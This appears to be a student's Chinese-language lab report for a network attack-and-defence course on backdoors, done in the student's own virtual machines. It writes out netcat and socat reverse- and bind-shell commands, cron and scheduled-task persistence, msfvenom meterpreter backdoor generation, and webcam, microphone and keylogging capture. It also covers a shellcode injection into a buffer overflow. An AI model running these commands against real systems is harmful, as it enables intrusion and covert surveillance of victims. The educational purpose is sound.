Exp2:后门原理与实践

一.实验信息

  • 课程名称:网络对抗技术
  • 实验序号:2
  • 实验名称:后门原理与实践
  • 实验人:20201207徐艺铭

二.实验内容

2.1 实验内容(4分+2分附加题)

  • 使用netcat获取主机操作Shell,cron启动 (1分)
  • 使用socat获取主机操作Shell, 任务计划启动 (1分)
  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(1分)
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (1分)
  • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(2分)加分内容一并写入本实验报告。
  • 附件下载https://gitee.com/wildlinux/NetSec/attach_files

2.2 报告要求

  • 报告整体观感
    (1)报告格式范围,版面整洁 加1分。
    (2) 报告排版混乱,加0分。

  • 文字表述
    (1)报告文字内容全面,表述清晰准确 加1分。
    (2)报告表述不清或文字有明显抄袭可能 加0分。

  • 截图要求:

    (1) 所有操作截图主机名为本人姓名拼音。
    (2) 所编辑的文件名包含自己的学号。

三.实验知识

3.1 nc/ncat/socat命令

参考链接:https://blog.csdn.net/freeking101/article/details/53289198

NC 全名 Netcat (网络刀),作者是 Hobbit && ChrisWysopal。因其功能十分强大,体积小巧而出名,被誉为网络安全界的 "瑞士军刀"。Netcat 使用 TCP 或 UDP 协议的网络连接去读写数据。Netcat 也是稳定的后门工具、功能强大的网络调试和探测工具。能够直接由其它程序和脚本轻松驱动。能够建立几乎所有类型的网络连接。

  • nc :nc 常用于溢出、反向链接、上传文本等。其实是一个非标准的 telnet 客户端程序。也是一个 putty.exe 客户端程序。
  • ncat :是现代版的 netcat,是 nmap 项目的组成部分。
  • socat :socat 是一个 nc 的替代品,可以称为 nc++。是 netcat 的 N 倍 加强版。socat 支持的连接方式很多,有 ip、tcp、udp、ipv6、pipe、exec、system、open proxy、openssl 等

3.2 关于后门

后门,本意是指一座建筑背面开设的门,通常比较隐蔽,为进出建筑的人提供方便和隐蔽。在信息安全领域,后门是指绕过安全控制而获取对程序或系统访问权的方法。后门的最主要目的就是方便以后再次秘密进入或者控制系统。

后门来源

  • 攻击者利用欺骗的手段,通过发送电子邮件或者文件,并诱使主机的操作员打开或运行藏有木马程序的邮件或文件,这些木马程序就会在主机上创建一个后门。
  • 攻击者攻陷一台主机,获得其控制权后,在主机上建立后门,比如安装木马程序,以便下一次入侵时使用。
  • 还有一种后门是软件开发过程中引入的。在软件的开发阶段,程序员常会在软件内创建后门以方便测试或者修改程序中的缺陷,但在软件发布时,后门被有意或者无意忽视了,没有被删除,那么这个软件天生就存在后门,安装该软件的主机就不可避免的引入了后门。

四.实验过程(包含加分实验步骤)

4.1 使用netcat获取主机操作Shell,cron启动(反弹式连接)

  • 主机使用win+r后输入cmd打开终端
  • 查看Kali的ipifconfig 查看主机ipipconfig

4.1.1 主机获取Kali的操作Shell

  • 主机使用命令nc -l -p 1207监听自身1207端口
  • Kali使用命令nc [主机ip] 1207 -e /bin/sh与主机的1207端口建立连接,并在连接成功后启动/bin/sh(其实就是把shell权限交给主机)

  • 这时主机cmd中可以获得Kali的shell权限

4.1.2 Kali获取主机操作Shell

  • Kali使用命令nc -l -p 1207监听自身1207端口
  • 主机使用命令nc -e cmd [主机ip] 1207与Kali机的1207端口建立连接,并在连接成功后启动cmd(把主机操作Shell交给Kali)

4.1.3 主机使用cron获取Kali机shell

  • Kali机中使用命令crontab -e,然后输入2打开vim界面

  • 在打开的界面插入42 * * * */bin/netcat [主机ip] 1207 -e /bin/sh(意思是每个小时的第42分钟对主机ip进行一次连接,并在连接成功后启动/bin/sh将终端权限交付,这个数字42可以根据自己的需要改)

  • 主机只要在每小时的第42分使用命令nc -l -p 1207则可以连接Kali机获得shell响应

  • 或者在crontab -e命令打开的界面里输入如下命令,主机可以在任何时刻使用命令nc [Kali ip] 1207连接Kali机获得shell权限

4.2 使用socat获取主机操作Shell, 任务计划启动(非反弹式连接)

4.2.1 主机使用socat获取Kali机操作Shell

  • Kali机使用命令socat tcp-listen:1207 system:bash,pty,stderr

  • 主机使用命令.\socat.exe - tcp:[Kali ip]:1207
  • 主机获取Kali机操作Shell

4.2.2 Kali机使用socat获取主机操作Shell

  • 主机使用命令.\socat.exe tcp-listen:1207 exec:cmd,pty,stderr

  • Kali机使用命令socat - tcp:[主机ip]:1207
  • Kali机获取主机操作Shell

4.2.3 主机设置任务计划 Kali机获得主机操作Shell

  • 在主机win+r后输入compmgmt.msc

  • 打开界面后选择任务计划程序-创建任务

  • 设置名称``触发器``操作

  • 操作这里需要浏览定位到socat.exe,同时设置参数为tcp-listen:1207 exec:cmd.exe,pty,stderr

  • 任务设置成功后,在该天的20:22(刚刚自己设置的时间),socat.exe便会启动(添加的参数后相当于执行命令socat tcp-listen:1207 exec:cmd.exe,pty,stderr)
  • 在Kali机中使用命令socat - tcp:[主机ip]:1207
  • 主机弹出如下界面

  • 同时Kali获得主机的操作Shell

4.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • Kali机使用命令msfvnom -p windows/meterpreter/reverse_tcp LHOST=[Kali ip] LPORT=1207 -f exe > 20201207_backdoor.exe

  • 生成20201207_backdoor.exe(后门)

  • 主机使用命令.\ncat.exe -lv 1207 > 20201207_backdoor.exe接收后门程序

  • Kali机使用命令nc [主机ip] 1207 < 20201207_backdoor.exe将后门程序发给主机

  • 主机中得到的程序如图

  • Kali机中运行msfconsole
  • 按照下面顺序输入

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST [Kali ip]
set LPORT 1207

  • 设置好后可以输入命令show options查看

  • 输入exploit进行触发(这步后报错可能是端口占用的问题)

  • 在主机中点击打开20201207_backdoor.exe(建议关闭杀毒软件)

  • 在Kali中获得主机操作Shell

  • 完成!!

4.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 在上一部分完成的操作后继续输入record_mic生成目标主机音频,可以用-d设置时间参数(时间太短听不到东西,时间太长会报错,尝试过比较好的时间是13s)

  • 输入webcam_snap获取主机摄像拍照权限

  • 输入run webcam获取目标主机视频html文件

  • 输入keyscan_start开始捕获击键记录
  • 输入keyscan_dump输出主机击键记录

  • 输入screenshot获取主机截屏

4.5 (加分项)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 先使用msfvenom --list payload查看各个主机版本适用的payload

  • 选定payload,确定所需要参数,使用命令msfvenom -p Linux/x86/shell_reverse_tcp --list-options

  • 因为要注入实验一中的pwn1文件,所以我们选择生成C语言格式
  • 输入命令msfvenom -p Linux/x86/shell_reverse_tcp LHOST=[Kali ip] LPORT=1207 -f c生成shellcode

  • 生成了下图shellcode

  • 依次输入如下内容配置参数

use exploit/multi/handler
set payload Linux/x86/shell_reverse_tcp
set LHOST [Kali ip]
set LPORT 1207

  • 输入exploit监听

  • 同时另外开启新的终端

  • 按照实验一的方式找到我们需要的返回地址并添加在shellcode前面,生成一段新的input流(我这里返回地址为0xffffd4d0[图中0xffffd4cc+4],所以以\xd0\xd4\xff\xff的形式放在刚刚生成好的shellcode前拼接起来)

  • 构造下图的input流(填充32字节+返回地址+shellcode)
  • 使用命令(cat input_shellcode;cat) | ./pwn1207注入

  • 回到刚刚运行msf的终端
  • 成功获得shell

五.实验中遇见的问题及解决办法

5.1 主机虚拟机ping不通

问题描述:目标地址不可达等
解决方法:首先不要看网上各种教程无脑为kali设置静态ip,有可能是DNS的问题,如果发现VMware虚拟机网络被自己配置的乱七八糟,可以按下图顺序操作,回到最初状态摆脱所有烦恼。


然后配置kali网络,参考如下链接配置两个文件,然后重启网络服务或者重启虚拟机:https://www.iculture.cc/knowledge/pig=25878

5.2主机nc/ncat命令无法使用

问题描述:主机本身的nc/ncat无法使用,解压老师给出的ncat.rar文件,将nc.exe移至C:\Windows\System32中报错如图

解决方法:自行去ncat官网下载https://eternallybored.org/misc/netcat/

六.基础问题回答

例举你能想到的一个后门进入到你系统中的可能方式?

  • 下载盗版软件,使用某种“破解版”软件

例举你知道的后门如何启动起来(win及linux)的方式?

  • win:可以将后门放到windows系统的启动项(每次系统重启都会运行),来获取长期权限;或者像实验中的设置任务计划;通过.exe文件投放进windows,进行免杀伪装后设置新的图标或者名字(win11激活工具之类的),诱导用户点入。

  • Linux:Strace获取登陆凭证;Alias获取登陆凭证;SSH软连接后门
    参考链接https://www.4hou.com/index.php/shop/posts/17OG

Meterpreter有哪些给你映像深刻的功能?

  • 只要调配参数,使用最简单的命令,meterpreter就会自主生成需要的各种后门程序,功能强大操作便捷;每次开启使用时变换的不同开机界面也相当有趣。

如何发现自己系统有没有被安装后门?

  • 在cmd中用nestat -na查看到后面开放端口,当开的端口大于1024尤其是4000以上的时候,就要注意了。因为现在的许多木马是开的动态端口,当大端口被打开时就需要注意,像鸽子的默认端口就是8000。
  • 另外可以输入net user去查看是不是有其他的用户。如果有的话输入net user+这个用户名,查看这个用户是属于什么权限的,一般除了Administrator是administrators组的,其他都不是,如果发现一个系统内置的用户是属于administrators组的,那几乎肯定被入侵了,而且别人在计算机上克隆了账户。(这里我自己跑去查了一下没有发现可疑用户)

七.实验体会

先说说出现的问题吧,本次实验在前期准备折磨了我很多天,包括两台主机网络ping不通或者老师给出的ncat.rar使用会报错等等问题,关于网络配置这里确实学到了很多,包括配置系统中network/interfaces文件等等,学会了通过系统文件去配置ip地址子网掩码或者DNS的方法,不能傻瓜式的跟着网上的博客教程随意配置静态ip,同时在使用msf工具的时候,我的终端一直会爆警告,虽然不影响正常使用,但是还未找到解决警告的有效方法,需要进一步研究。
给我留下最深印象的环节是msf生成的可执行程序注入到windows之后获取主机的摄像头,音频等权限,以此来完成监听监视拍照等环节,或者通过击键记录来获知聊天记录搜索记录等等,感觉作为被渗透的一方,整个人的信息和动态是完全透明受监视的,让人觉得定期检查系统漏洞,加强安全防御意识势在必行,往后不安装来路不明的破解版或非官方的网站,尽可能定期排查自己设备上的后门或者漏洞,将受到攻击的可能性尽可能降低。
像我们这样的初学者就可以通过实验制作后门,并有意识地将后门利用技术或者社会工程学加装到别人的设备中,获得本不该获得的root权限,甚至在未来学习免杀技术后加装自己的后门程序,可见现在网络攻击的门槛其实很低,需要不断强化自身意识,提高技术水平,知己知彼才能百战不殆!!

posted @ 2023-03-23 21:49  遥鱼  阅读(107)  评论(0编辑  收藏  举报